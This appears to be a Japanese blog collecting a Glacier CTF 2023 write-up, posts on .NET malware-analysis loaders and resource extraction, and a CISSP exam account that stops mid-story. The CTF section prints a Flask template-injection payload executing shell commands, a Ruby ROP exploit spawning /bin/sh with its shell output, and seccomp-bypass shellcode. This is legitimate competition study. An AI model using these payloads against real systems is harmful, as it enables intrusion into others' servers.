Glacier CTF 2023 Writeup

はじめに

もう何年ぶりかわからない、たぶん6年ぶりぐらいに、リアルタイム開催のオンラインCTFに参加したので、そのWriteupをまとめておきます。すごく楽しかった。なんかもう一周回って楽しくなってきた。いろいろ反省点が見つかったので、次参加する際に改善していきたい。

チームの結果

チーム全体としては、3人で参加し、89位で546ポイント獲得しました。その内、自分はIntro問題すべてとRev、Cryptoを1つずつ解いて310ポイントをサブミットしました。

Scoreboard

Writeup

Intro

Welcome Challenge

公式DiscordのRuleにフラグがある。当時は、IRCとかだったのにもう時を感じる。

gctf{w3lc0m3_t0_g1ac13rctf_2023}

My first Website

Webサイトは、四則演算ができるサイトが題材になっていた。ヒントから、別のNot foundなページに誘導される。当初隠しディレクトリなどを探していたが、たまたまURLの欄に{{ 1+1 }}と入力すると、2となってレスポンスされることに気がついた。これを起点に任意コマンドを発行させて、フラグを取得。PythonのFlask製で、よくWeb問でテンプレートインジェクションで出される題材のような環境だった。

$ curl "https://myfirstsite.web.glacierctf.com/projects\{\{cycler.__init__.__globals__.os.popen('cat%20/flag.txt').read()\}\}"
<!DOCTYPE html><html><head><title>Custom 404 Page</title></head><body><h1>404 - Page Not Found</h1><p>Oops! The page you're looking for at /projectsgctf{404_fl4g_w4s_f0und} doesn't exist.</p></body></html>
gctf{404_fl4g_w4s_f0und}

Skilift

以下のVerilogのコードが渡されるので、処理を呼んで逆算するスクリプトを作成する。

module top(
    input [63:0] key,
    output lock
);
  
    reg [63:0] tmp1, tmp2, tmp3, tmp4;

    // Stage 1
    always @(*) begin
        tmp1 = key & 64'hF0F0F0F0F0F0F0F0;
    end
    
    // Stage 2
    always @(*) begin
        tmp2 = tmp1 <<< 5;
    end
    
    // Stage 3
    always @(*) begin
        tmp3 = tmp2 ^ "HACKERS!";
    end

    // Stage 4
    always @(*) begin
        tmp4 = tmp3 - 12345678;
    end

    // I have the feeling "lock" should be 1'b1
    assign lock = tmp4 == 64'h5443474D489DFDD3;

endmodule

特に特殊なこともしていないソルバ。

#!/usr/bin/env python
def sra(x,n,m):
    if x & 2**(n-1) != 0:  # MSB is 1, i.e. x is negative
        filler = int('1'*m + '0'*(n-m),2)
        x = (x >> m) | filler  # fill in 0's with 1's
        return x
    else:
        return x >> m
    
key = 0x5443474D489DFDD3
key += 12345678
key ^= 5206516634781635361
key = sra(key, 64, 5)
key &= 0xf0f0f0f0f0f0f0f0
print(hex(key))

初めてちゃんとVerilogのコードを読んだ気がする。

gctf{V3r1log_ISnT_SO_H4rd_4fTer_4ll_!1!}

ARISAI

RSA問題で、Nがすでに割れていたが、pqの積ではなく、複数の素数から成り立つMultiple prime RSAだった。

Broken RSA - バランスを取りたい

を参考にコードを書いてフラグを得る

from Crypto.Util.number import bytes_to_long, long_to_bytes

e=65537
n=1184908748889071774788034737775985521200704101703442353533571651469039119038363889871690290631780514392998940707556520304994251661487952739548636064794593979743960985105714178256254882281217858250862223543439960706396290227277478129176832127123978750828494876903409727762030036738239667368905104438928911566884429794089785359693581516505306703816625771477479791983463382338322851370493663626725244651132237909443116453288042969721313548822734328099261670264015661317332067465328436010383015204012585652642998962413149192518150858822735406696105372552184840669950255731733251466001814530877075818908809387881715924209232067963931299295012877100632316050826276879774867425832387424978221636157426227764972761357957047150626791204295493153062565652892972581618176577163744310556692610510074992218502075083140232623713873241177386817247671528165164472947992350655138814891455499972562301161585763970067635688236798480514440398603568227283629452476242623289661524243073929894099518473939222881149459574426407208658860251686137960952889074096311126991477096465624470265619377139983649503903820480974951491378311837933293607705488991162022547957926530402988912221198282579794590930661493745233069145707902854299501706154802038942258911515981663207152069613126155243024789689987554767962281273345273757236723762684230158310314189489269922058062081424352003908442430243686562569467793068370441732743572240164014190275463904986105758545036928880621165599686076511511089276388190078187849622221351011692443859919384379432387437072419707649486293684966456033518855679391672980173280496419686363359529398834403906418139786395934302273747490127295066208248715874656180233559644161531014137838623558729789331274400542717269108353265885948166102045041669627782992845494987948783304254174326130201166965174477449798721151991240203641
c=268829805459609475588440899873097740407996768854076329496002425282199615879909227647380967635165606878898541606457683227761652305836586321855100255485305118037701500609605019785162541750877335573032359895573772603246111506991979320486028250721513277767642375361127152574528694298160906073442383962020636918610527024050576972769852306021296823499884948279413653216802756618690182635446020844210831886652986287932378470425746444631963933610367607515800649608436183004088441881238148504635598468243968695248287570279766119573944421327504565309861792437849662128566261080923059583840204287527201636471106753069738472306223410300379312983945939043519755909420737707495224846116170095923898104488099329762265149868062693687303917610957104520999978944379566136253252697346935036425206126213766976582551430726756840294537354912787885103742021813054656962241068550049435394355553796824094853195888610994254949530524531633088750916669188277025883371307926545593346345011181011886157628805587723572874545440223921942144548540109099572715194182349314576321627183804149379561322969725485272107142991680959335537127382716195040449341448266408777436145121388591741613272241408064729715121476227737259932422493622000014673154665474739974557976672498027364986075870354093242809763072555932073688776712239151696700128393589329790478951588551070833013708885416360627613835550721939073618725634813608997025047929327270234611128029339388251117036658410438813874667672407000490721438737857471847655487642835059784967516451098631494261100960513521722400650533821661854325599281416744189966724295645707952292786069145361070873245192529272080607536319284389065418040578100669665069777133031446812281199863684982910055858515634879595144557407925298026899908970790756383369461817536923660051327566555421265363733995050644914554395836353253513
primes = [8441831, 8450987, 8452019, 8473027, 8476817, 8523661, 8525711, 8608673, 8633423, 8641453, 8725153** 2, 8786017, 8796721, 8824679, 8850601, 8913481, 8933437, 9016037, 9041551, 9075889, 9095939, 9126197, 9142547, 9163981, 9172531, 9196001, 9223867, 9253319, 9265309, 9277921, 9298747, 9300803, 9357883, 9368759, 9405353, 9444839, 9552029, 9569057, 9584371, 9663629, 9696719, 9720223, 9748049, 9770723, 9801269, 9828727, 9836483, 9838117, 9853043, 9873373, 9883469, 9884603, 9905167, 9989579, 10000759, 10064897, 10114409, 10122389, 10213001, 10214591, 10228861, 10235447, 10344643, 10428001, 10433911, 10438013, 10441523, 10476001, 10514083, 10523977, 10605817, 10650929, 10667479, 10699517, 10731407, 10732091, 10754837, 10773781, 10849837, 10861127, 10893173, 10918459, 10943417, 10944433, 11028001, 11049739, 11057621, 11073793, 11084419, 11113789, 11152859, 11156681, 11230451, 11239903, 11369903* 22, 11462177, 11470343, 11504419, 11519971, 11543971, 11559637, 11625619, 11633267, 11661121, 11768401, 11847721, 11909747, 11915809, 11925691, 11928173, 11945093, 11990089, 12010259, 12089663, 12109277, 12231853, 12240667, 12274813, 12319117, 12339689, 12350357, 12358079, 12387329, 12407609, 12407959, 12515033, 12550357, 12599803, 12621067, 12652597, 12705883, 12804707, 12808151, 12824027, 12932669, 12967831, 13046717, 13059269, 13076249, 13128433, 13170671, 13202297, 13227367, 13328803, 13366687, 13371181, 13415921, 13417357, 13424921, 13430423, 13534007, 13561657, 13566431, 13568981, 13587683, 13625263, 13653811, 13655797, 13669967, 13673927, 13755149, 13799299, 13823059, 13865617, 13870601, 13997617, 14013617, 14044937, 14046449, 14086979, 14103413, 14162843, 14217041, 14311291, 14339863, 14340289, 14377679, 14407667, 14423561, 14435203, 14465153, 14466281, 14475521, 14482381, 14535811, 14548939, 14549063, 14588369, 14624459, 14633851, 14650763, 14693927, 14713939, 14738869, 14797501, 14880347, 14910199, 14922409, 14982181, 15005579, 15020413, 15031937, 15103373, 15181499, 15185399, 15209617, 15232961, 15299831, 15365261, 15441739, 15459343, 15470893, 15475193, 15489707, 15501071, 15682181, 15689647, 15689981, 15707093, 15707143, 15748631, 15792169, 15793247, 15798877, 15922301, 15947639, 16032721, 16045049, 16071229, 16080319, 16175597, 16177433** 2, 16198717, 16199101, 16212913, 16225283, 16254883, 16312763, 16336267, 16359283, 16405027, 16432721, 16497373, 16593167, 16594681, 16629163, 16632713, 16643707, 16657153, 16679137, 16701907, 16738913, 16755269]
primes = [8441831, 8450987, 8452019, 8473027, 8476817, 8523661, 8525711, 8608673, 8633423, 8641453, 8725153, 8786017, 8796721, 8824679, 8850601, 8913481, 8933437, 9016037, 9041551, 9075889, 9095939, 9126197, 9142547, 9163981, 9172531, 9196001, 9223867, 9253319, 9265309, 9277921, 9298747, 9300803, 9357883, 9368759, 9405353, 9444839, 9552029, 9569057, 9584371, 9663629, 9696719, 9720223, 9748049, 9770723, 9801269, 9828727, 9836483, 9838117, 9853043, 9873373, 9883469, 9884603, 9905167, 9989579, 10000759, 10064897, 10114409, 10122389, 10213001, 10214591, 10228861, 10235447, 10344643, 10428001, 10433911, 10438013, 10441523, 10476001, 10514083, 10523977, 10605817, 10650929, 10667479, 10699517, 10731407, 10732091, 10754837, 10773781, 10849837, 10861127, 10893173, 10918459, 10943417, 10944433, 11028001, 11049739, 11057621, 11073793, 11084419, 11113789, 11152859, 11156681, 11230451, 11239903, 11369903, 11462177, 11470343, 11504419, 11519971, 11543971, 11559637, 11625619, 11633267, 11661121, 11768401, 11847721, 11909747, 11915809, 11925691, 11928173, 11945093, 11990089, 12010259, 12089663, 12109277, 12231853, 12240667, 12274813, 12319117, 12339689, 12350357, 12358079, 12387329, 12407609, 12407959, 12515033, 12550357, 12599803, 12621067, 12652597, 12705883, 12804707, 12808151, 12824027, 12932669, 12967831, 13046717, 13059269, 13076249, 13128433, 13170671, 13202297, 13227367, 13328803, 13366687, 13371181, 13415921, 13417357, 13424921, 13430423, 13534007, 13561657, 13566431, 13568981, 13587683, 13625263, 13653811, 13655797, 13669967, 13673927, 13755149, 13799299, 13823059, 13865617, 13870601, 13997617, 14013617, 14044937, 14046449, 14086979, 14103413, 14162843, 14217041, 14311291, 14339863, 14340289, 14377679, 14407667, 14423561, 14435203, 14465153, 14466281, 14475521, 14482381, 14535811, 14548939, 14549063, 14588369, 14624459, 14633851, 14650763, 14693927, 14713939, 14738869, 14797501, 14880347, 14910199, 14922409, 14982181, 15005579, 15020413, 15031937, 15103373, 15181499, 15185399, 15209617, 15232961, 15299831, 15365261, 15441739, 15459343, 15470893, 15475193, 15489707, 15501071, 15682181, 15689647, 15689981, 15707093, 15707143, 15748631, 15792169, 15793247, 15798877, 15922301, 15947639, 16032721, 16045049, 16071229, 16080319, 16175597, 16177433, 16198717, 16199101, 16212913, 16225283, 16254883, 16312763, 16336267, 16359283, 16405027, 16432721, 16497373, 16593167, 16594681, 16629163, 16632713, 16643707, 16657153, 16679137, 16701907, 16738913, 16755269]

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

N = 1
phi = 1
for x in primes:
    N *= x
    phi *= x -1

d = modinv(e, phi)
pt = pow(c, d, N)
print(long_to_bytes(pt))
gctf{maybe_I_should_have_used_bigger_primes}

Los-ifier

statically linkedなバイナリのPwn問題。初見特に何もなさそうに見えるが、register_printf_specifiedという関数が呼ばれており、そこで登録されているハンドラ関数 printf_handlerの中にあるloscopyという改行文字までコピーする関数によりBOFが発生する。

size_t printf_handler(FILE *param_1,undefined8 param_2,undefined8 *param_3)

{
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  size_t len;
  undefined8 local_10;
  
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_10 = *(undefined8 *)*param_3;
  local_58 = 0x736f4c;
  loscopy((long)&local_58 + 3,local_10,L'\n');
  len = strlen((char *)&local_58);
  fwrite(&local_58,1,len,param_1);
  return len;
}

本バイナリは、statically linkedなバイナリなので、適当にsystem関数と/bin/sh文字列のアドレスを取得したら、あとはROPをするだけ。

#!/usr/bin/env ruby
# coding: ascii-8bit

require 'pwn'

context.log_level = :debug
if ARGV[0] == "r"
    host = "chall.glacierctf.com"
    port = "13392"
    libc = "libc.so.6"
else
    host = "localhost"
    port = "9999"
    libc = ELF.new "/lib/x86_64-linux-gnu/libc.so.6"
end

$z = Sock.new host, port
def z; $z; end

elf = ELF.new("chall")


addr_bin_sh = p64(0x478010)
addr_system = p64(0x404ae0)
addr_pop_rdi = p64(0x476f02)

payload = "A" * 85
payload += addr_pop_rdi
payload += addr_bin_sh
payload += p64(0x00000000004019cc) # ret
payload += addr_system
STDIN.gets
z.sendline(payload)

実行結果は下記の通りで、無事フラグをゲット

root@7875b9403dbd:~/work# ruby x.rb r
[INFO] "/root/work/chall"
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

[INFO] Switching to interactive mode
id
uid=1337 gid=1337 groups=1337
ls
app
flag.txt
cat flag.txt
gctf{l0ssp34k_UwU_L0v3U}  

Crypto

Missing bytes

RSA秘密鍵の公開鍵の一部であるModular Nが欠けているので、壊れたPEMファイルを読み解いて、鍵をリカバリーするという問題。DER構造体の特徴的なキーワードを使って、PEMファイルをパースするコードを書き、素数 、を見つけてNを算出し、ライブラリに任せて鍵ファイルを生成する

#!/usr/bin/env python

import base64
from io import BytesIO

base64encoded = open("priv.key").read()
data = base64.b64decode(base64encoded)

with BytesIO(data) as mem:
    n = mem.read(0x1c)
    
    encode = mem.read(0x1) # 0x02
    size = mem.read(0x1) # 0x3
    e = int.from_bytes(mem.read(ord(size)), 'big')
    print(f"e = {e}")
    
    encode = mem.read(0x1) # 0x2
    size = mem.read(0x1)
    actual_size = int.from_bytes(mem.read(2), 'big')
    d = int.from_bytes(mem.read(actual_size), 'big')
    print(f"d = {d}")
    
    encode = mem.read(0x1)
    size = mem.read(0x1) # 0x3
    actual_size = ord(mem.read(1))
    p = int.from_bytes(mem.read(actual_size), 'big')
    print(f"p = {p}")

    encode = mem.read(0x1)
    size = mem.read(0x1) # 0x3    
    actual_size = ord(mem.read(1))
    q = int.from_bytes(mem.read(actual_size), 'big')
    print(f"q = {q}")

    encode = mem.read(0x1)
    size = mem.read(0x1) # 0x3
    dp = int.from_bytes(mem.read(actual_size), 'big')

    encode = mem.read(0x1)
    size = mem.read(0x1) # 0x3
    dq = int.from_bytes(mem.read(actual_size), 'big')

    encode = mem.read(0x1)
    size = mem.read(0x1) # 0x3
    cofficient = int.from_bytes(mem.read(actual_size), 'big')

    N = p * q
    print(f"N = {N}")

    from Crypto.PublicKey import RSA
    key = RSA.construct((N, e, d, p, q))
    pem = key.export_key('PEM')
    print(pem.decode())
    with open("full-private.key", "wb") as fout:
        fout.write(pem)

鍵の生成に成功したら、あとは毎回忘れているopensslコマンドを使って対象ファイルを復号する。この時、-rawオプションをつけておかないと、PKCS1関連でエラーが出て正常に復号できないので注意が必要。参考: https://forum.hackthebox.com/t/weak-rsa/941/2

$ openssl rsautl -inkey full-private.key -decrypt -in ciphertext_mess
age -raw
The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead.
Hey Bob this is Alice.
I want to let you know that the Flag is gctf{7hi5_k3y_can_b3_r3c0ns7ruc7ed}

Rev

Password Recovery

典型的なCrackme問題で、ユーザ名とパスワードを聞かれる。ユーザ名は問題に記載されているLosCapitanである。 正しいパスワードをgctf{}で囲えばフラグになる。シンボルも消されているが、Ghidraで読み取るとstrcmpで比較しているのがわかるので、そこでブレークポイント貼って答えが出てくる。その答えをFLAGフォーマットで囲って回答になる。

gctf{]^WR\\lcTI}

解けなかった問題

FunChannel (Pwn)

seccompが利用されて下記のシステムコールしか使うことができないシェルコード問題。writeが使えないので、メモリ上にやレジスタに値を格納したら、あとは無限ループなどを駆使して、1byteずつ当てていく系のやつ。

  • read
  • openat
  • getdents

一見簡単そうに見えるが、ファイル名が不明なので、getdentsシステムコールを使ってファイル一覧を洗い出し、ファイルを特定する必要がある。紆余曲折しながら、コードが無限にバグってしまって、最後まで粘っていた。最後の最後にようやくファイル名を特定して、フラグの内容を当てに行っている間に時間切れになってしまった。たぶんファイルは、92b6a7746a414f259826adb75a8f6375.txtだと思っていて、フォーマットはあたっていたから、これだと信じたいけど、それもミスってたらもう部分点すらダメそう。

section .text
   global _start
_start:
   mov     r10, rdx
   xor     rdx, rdx      ; 0
   push    0x2e          ; "."
   mov     rsi, rsp      ;
   mov     rdi, 0xffffff9c ; AT_FDCWD
   mov     eax, 0x101  ; openat 
   syscall
   push    rax
forGetdents:
   mov     rdi, [rsp] ; fd
   mov     rdx, 0xf82; size
   lea     rsi, [r10+0x7d] ; buf
   mov     rax, 0x4e ; getdents
   syscall ; getdents(fd, buf, size)
   cmp rax, 0
   je error
   mov     r9, rax; nread
   xor     rax, rax ; bpos
for:
   lea     rdx, [rsi+rax] ; d
   lea     r8, [rdx + 0x12] ; d_name (ok)
   add     ax, [rdx + 0x10] ; bpos += d_reclen (ok)   
   call strlen
   mov rbx, "92b6a774"
   ; cmp QWORD [r8+rcx-8], rbx ; 6375.txt OK
   ; cmp QWORD [r8+rcx-8], rbx ; 6375.txt OK
   ; cmp QWORD [r8+rcx-12], rbx ; 5a8f 6375 OK
   ; cmp QWORD [r8+rcx-16], rbx ; adb75a8f OK
   ; cmp QWORD [r8+rcx-20], rbx ; 9826adb7 OK
   ; cmp QWORD [r8+rcx-24], rbx ; 4f259826 OK
   ; cmp QWORD [r8+rcx-28], rbx ; 6a414f25 OK
   ; cmp QWORD [r8+rcx-32], rbx; a7746a41 OK
   cmp QWORD [r8+rcx-36], rbx; 92b6a774
   ; cmp QWORD [r8+rcx-34], rbx; ?7a7 746a OK
   ; a7746a414f259826adb75a8f 6375.txt
   ;je loop
   je loop
cont:       
   cmp     rax, r9 ; if(bops < nread)
   jl      for
   jmp forGetdents
loop:
   jmp loop
error:
   syscall
strlen:
   push rbp
   mov rbp, rsp
   xor rcx,rcx
strlenLoop:
   cmp byte [r8+rcx], 0x0   
   je strlenEnd
   inc rcx
   jmp strlenLoop
strlenEnd:   
   leave
   ret

.NET製のDLLデバッグの効率化のためにSimpleDllLoaderを作成した

はじめに

マルウェア解析を行っていると、たまにファイルレスなマルウェアの解析を行うことがある。多くは、PowerShellなどでダウンロードした.NET製のDLLなどをロードして実行するものだ。そこで、PowerShellスクリプトなどを改変して、対象の.NETのDLLをディスク上に出力する。しかしながら、.NET製のDLLは、WindowsのネイティブなDLLのように、rundll32.exe hoge.dll,#1のように実行することができない。そこで、普段どのようにこうした.NET製のDLLを分析しているのかの解説と、それを手軽に行うためのツールを作ったたので、紹介する。

.NET製DLLの分析手法

.NET製のバイナリであれば、まずはdnSpyを使うことが最も早い。しかしながら、.NET製のDLLの場合、単体で実行することができない。もし詳しい人がいたら、単体で動かす方法を教えてくれると嬉しい。そこで、多くのケースでは、対象の.NET製のDLLをロードする簡易なローダをC#などで記載して、それをdnSpyで読み込んで分析する。しかしながら、毎回そのようなコードを書くのも煩わしい。 そこで調査したところ、SharpDllLoaderと呼ばれるツールが結構使いやすそうだったので使ってみていた。 github.com

.NET製DLLで呼び出したいクラスやメソッド、またその名前空間を引数として設定することで、dnSpyでデバッグを行うことができるようになる。具体的な使い方はREADME.mdに記載されているので参考にしてほしい。dnSpyでデバッグをしていき、最終的に呼ばれるInvokeメソッドをStep Intoで入ると、目的の.NET製DLLにたどり着くといったところだ。

SharpDllLoaderの欠点

欠点と言ってしまうと失礼で後で回収するが、どうしてもこうしてしまったほうがツールが作りやすいというものではある。何が欠点かというと、本ツールでは対象とするクラスのコンストラクタに引数が無いケースのものしか扱えないようになっている。具体的にはコードの下記の部分だ。Activator.CreateInstance(type)のような渡し方をするとこのような事象になってしまう。

private static object GetClass(Type type)
{
    object classObj = null;
    if (type.IsAbstract == false)
    {
        classObj = Activator.CreateInstance(type);
    }
    return classObj;
}

マルウェアによって、どうしても最初のバイナリで文字列を引数として渡す形で、.NET製DLLのメソッドを使うケースも出てくる。そうした際に本ツールだと扱えなくなってくる。

SimpleDllLoaderの紹介

ブログ記事として書いている割には、実は出来が甘くてまだ結構なケースでこけてしまう気がする。しかしながら、そうするといつまでたっても公開できなくなってしまいそうな気がしたので、いったん公開してしまう。ちなみに、こけやすいのは独自に実装しているコマンドラインパーサーの部分であって、あまり本質的ではない。 github.com

本ツールでは、クラスのコンストラクタやメソッドを探す際に、型情報も必要とする形としている。

C:\>SimpleDllLoader.exe -h
usage: SimpleDllLoader v1.0.0

A Simple Loader for .NET DLL

required arguments:
  -d, --dll DLL_PATH    Specify a path for DLL
  -c, --class CLASS     Specify a class

optional arguments:
  -h, --help    Show this help message and exit
  -ca, --cctor-args ARGS        Specify constructor arguments
  -ct, --cctor-types TYPES      Specify constructor argument types
  -n, --namespace NAMESPACE     Specify a namespace
  -m, --method METHOD   Specify a method name
  -ma, --method-args ARGS       Specify method arguments
  -mt, --method-types TYPES     Specify method argument types

例えば、コンストラクタにSystem.String型の引数を取るメソッドを実行したい場合は下記のように行うことができる。

C:\>SimpleDllLoader.exe -d C:\FakeDll.dll -c FakeDll -ca Test -ct System.String

また、仕組みとしては同じなので、SharpDllLoaderと同様にdnSpy上で実行することで、dnSpyで当該メソッドのデバッグなどもできる。

実装のめんどくささの実情

今回SharpDllLoaderの欠点を解決するためにツールを作ってみたわけだが、作ってみて作りにくさを感じた。やはり、.NET製のDLLがどんなクラス・引数の型のものが入力としてされるかわからないため、汎用的に作るのが難しい。例えば、.NET製のDLLのクラスが、System.Byteの配列を引数にとる場合を考えてみよう。この場合、引数から受け取った情報をその型に変換する必要があるが、その仕組みを実装するのも若干めんどくさい。また、ユーザ定義のクラスだったりしてしまったら、もはやそれを予測実装することは不可能だ。おそらくこうした点から、SharpDllLoaderでは引数なしのコンストラクタのクラスしか受け入れないようになっているのだと思われる。

つまり、汎用的にツールで解消するよりも、都度C#でミニマムなローダを書いたほうが早いと思われるというのが、作ってみての感想である。つきましては、SharpDllLoaderや拙作のSimpleDllLoaderの実装を参考に、.NET製のDLLをAssembly.LoadFileなどでロードしたり、TypeやMethodInfoなどのいわゆるC#のリフレクション機能を使うコードを学ぶのがおすすめであるという結論にして終わりたいと思う。

おわりに

.NET製DLLの分析のめんどくささと、それを解消するための既存ツールの紹介、そして既存ツールで足りない部分を解消するために作ったツールSimpleDllLoaderを紹介した。まとめとしては、都度作ったほうが楽で漏れがないという点である。そこまで大したコード量にもならないので、都度C#でローダを書いてしまうほうが楽だと思う。.NETバイナリの解析をしたかったら、とりあえずみんなC#を勉強しよう。

Python.NETを用いた.NETバイナリのリソース抽出

はじめに

.NETマルウェアの解析を行っていると、自動化スクリプトのために、.NETバイナリ内に含まれるリソースを抽出したい時が出てくる。なぜならば、.NETマルウェアの多くは、次に実行するマルウェアの本体や設定情報などをリソースに格納しているケースがあるからだ。こうした状況において、基本的には.NET対応言語であるC#でプログラムを書くほうが良いが、個人的にはそこまでC#を習熟していないので、Pythonで書きたいと考える。そこで、本記事ではPythonを使って.NETバイナリに含まれるリソースの抽出のPoCを紹介する。

Python.NETとは

github.com

Python.NETは、Pythonから.NETのCLR(共通言語ランタイム)の機能を使うことができる外部ライブラリである。.NET Frameworkに対応したCLRだけでなく、.NET CoreのCoreCLRにも対応している。下記のようにpip経由でインストールすることができる。

pip install pythonnet

リソースを含む.NETバイナリのサンプル

目的のスクリプトを作る前に、適当なリソースを含む.NETバイナリを作成した。Visual Studio 2022で、下記のようにTestResourceという名前のリソースを含めてコンパイルした。

ターゲットとなるリソースを含んだ.NETバイナリ
なお、ソースコード自体は特筆すべきことはなく、当該リソースの値を標準出力するのとデバッグ用に標準入力を待ち受けているだけ。

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Sample
{
    internal class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine(Properties.Resource1.TestResource);
            Console.ReadLine();
        }
    }
}

.NETバイナリのリソース抽出するスクリプトの解説

初めにスクリプト(resource-viewer.py)の全体を記載する。

import sys

import clr
from System.Resources import ResourceReader
from System.Reflection import Assembly

def load_assembly(path: str) -> Assembly:
    buf = open(path, "rb").read()
    asm = Assembly.Load(buf)    
    return asm

def main():
    if len(sys.argv) != 2:
        print("Usage: resource-viewer.py <.NET Framework Assembly>")
        sys.exit(1)

    path = sys.argv[1]
    asm = load_assembly(path)
    for resource_name in asm.GetManifestResourceNames():
        print(f"Found resource: {resource_name}")
        stream = asm.GetManifestResourceStream(resource_name)
        res = ResourceReader(stream)
        for dict in res.GetEnumerator():
            print(f"{dict.Key}: {dict.Value}")

if __name__ == '__main__':
    main()

C#を書きたくないから、Pythonでやろうとしたものの、結局C#で抽出する処理を書いている。GetManifestResourceNamesでリソース名の一覧が取得できる。今回は、1つのリソースしかない。見つかったリソース名を用いて、リソース用のストリームを取得する。当該ストリームは、ResourceReaderに渡すことで、実際にリソースの中身を取得できるようになる。リソースの中にある値も今回は1つのキーバリューだが、走査するGetEnumeratorでループ処理を記載している。これにより、リソース名がわからなくても、とりあえずすべて抽出することができそうである。

スクリプトの実行結果は、下記の通りである。リソース一覧から、Key Value形式で意図したリソースを抽出することができている。

resource-viewer.pyの実行結果

おわりに

スクリプトを拡張することで、.NETマルウェア解析用のスクリプトPythonだけで書くことができるようになる。どうしてもPythonスクリプトをまとめておきたいなど、かなり母数が少ない人向けの内容だが、役立ったら幸いである。

CISSP(Certified Information Systems Security Professional)合格体験記

はじめに

2022年9月4日の朝起きたとき、ふと「よしCISSPを受けよう!」と思い立ち下記の公式問題集をKindleで購入しました。ここから始まったCISSP合格までの流れの紹介します。簡単にまとめると、英語ベースでの勉強をしよう!という感じです。下の写真は、日本語問題集ですが、途中で伏線が回収されていきます。
CISSP公式問題集 | マイク・チャップル, デイビッド・ザイドル, 笠原久嗣, 桑名栄二, 井上吉隆, 小村誠一, 石井中, 西田晴彦, 中川貴之, 福井将樹, 根本徳人 | 趣味・その他 | Kindleストア | Amazon CISSP公式問題集のAmazonスクリーンショット

勉強方法

独学で受験するということもあり、トレーニングなどが受験できないため、受験体験記を調査して勉強手法を決めました。方針としては、公式問題集を解きながら知識を習得していくことにしました。なおこれは、自分が代表的なセキュリティ系の資格を複数保持しているということを前提として決めています。

しかしながら、色々な合格体験記を読む中で、「これだけだと合格は厳しいのでは...」という気持ちになり、図書館で公式ガイドブックを借りて参考書として使いました。借りた当初は、全部読もうと考えていましたが、私生活の状況からしてその時間を生み出すことは難しいため、気になったトピックを拾い読みするなどしました。しかしながら、やはりたいして読めず返却期限が来てしまいました。終わってから考えると、あまりこの行為は合格には影響が無かったかなと思いました。

問題集は、2週間ほどで1周しました。このときは、どのドメインも7割取れていない、ドメインによっては5割ぐらいのものもありました。その後、復習して再度2週目をやるころには、8割から9割り程度まで上がっていました。そして、最終的には4周ほどしていたと思います。通しで解いていた時もあれば、1問ずつ解答の知らない単語を調べながら丁寧な復習をしていたときもあるためです。その際には、Notionを使って情報を整理していましたが、レスポンスがちょっと遅いなと感じて、Google Slidesにまとめ直しました。そして、Google Slideもいまいちな気がして、最終的には、HackMDにまとめたりしていました。 CISSPチートシート

また、10月に入ってからは、英語の方の公式問題集を購入して勉強をはじめました。きっかけは、英語でCISSPの情報を調べてたときに、日本語問題集より新しい版が原本はあるということを知ったためです。
Amazon.co.jp: (ISC)2 CISSP Certified Information Systems Security Professional Official Practice Tests (English Edition) 電子書籍: Chapple, Mike, Seidl, David: 洋書 英語版のCISSP公式問題集のAmazonスクリーンショット

正直なところ、最初からこちらをやればよかったなぁと後悔しました。そもそも、2021年に試験範囲が変わっており、日本語の問題集はそれ以前のものになっています。英語の問題集は2021年に発売され、その更新に対応した内容となっています。そのため、問題もいくつか異なっています。各ドメインや模擬試験ごとに1、2割ほど日本語問題集では見たことない問題が出題されていました。こちらの問題集も合計すると3週ほどやっていたような気がします。

見てきたように問題集ばかりやっていましたが、Overfittingを防ぐために定期的に、高い視点で各ドメインの内容のメモを読み返したり整理したりしました。また、たまたま見つけたYouTubeの動画がわかりやすくて、非常に参考になりました。各ドメインを網羅する動画で一本7時間ぐらいありますが、資料が公開されているので、そちらに目を通すだけでも良いかもです。 youtu.be

試験日の予約。そして、突然のリスケ。

ある程度勉強してきて、9月の下旬頃に試験予約をしました。仮に、あと1ヶ月ぐらい勉強してもダメなのであれば、根本的な勉強の仕方や対策、事前知識が足りないのだろうと思えると考えて、10月末尾に受験日を設定しました。そもそも、Twitterで見かけた再受験ポリシーの情報を見て、落ちても2回目が無料で受けれるならば、とりあえず10月にしておいたほうが無難だと思っていました。試験会場は、東京の帝国ホテルタワー18Fで、朝8:00開始コースを選びました(これしかなかった)。

しかしながら、10月に入ってから、その日会場が使え無くなってしまったと連絡が入りました。すぐに試験日を変えようとしましたが、リスケにはお金がかかるというポリシーの存在を思い出して、ピアソン側に連絡をして確認をしました。そしたら、リスケ費用は無しで変更させてくれました。ここで、連絡せずに予約日などを変更していたら、お金が掛かっていたようで、同じ事象に遭遇した方は、ピアソン側に連絡することをおすすめします。リスケしたことにより、試験日が1週間前倒しになりました😇

試験前日

前日は、義母が娘の面倒を見に来てくれたので、少し外出して気分リフレッシュかつ模擬試験の解き直しをやりました。また、自分のメモを改善したり、全ドメインを俯瞰しながら、CISO-likeな人格を作り上げていきました。寝る前には、当日持って行くものなど準備や、当日の電車時刻の確認などして9時ごろには娘と寝ていました。

試験当日

朝4時ぐらいに起きて復習しつつ準備(と言っても基本的なのは前日に済んでた)していました。娘の寝顔を見てから家を出て、始発で最寄り電車に乗り、乗り継ぎ駅で朝飯食べ、会場の最寄駅まで行きました。会場に着いた頃には、7:00ごろで、「7:30ぐらいに開けますのでお待ちください」と言われて外で待ちながら復習していました。

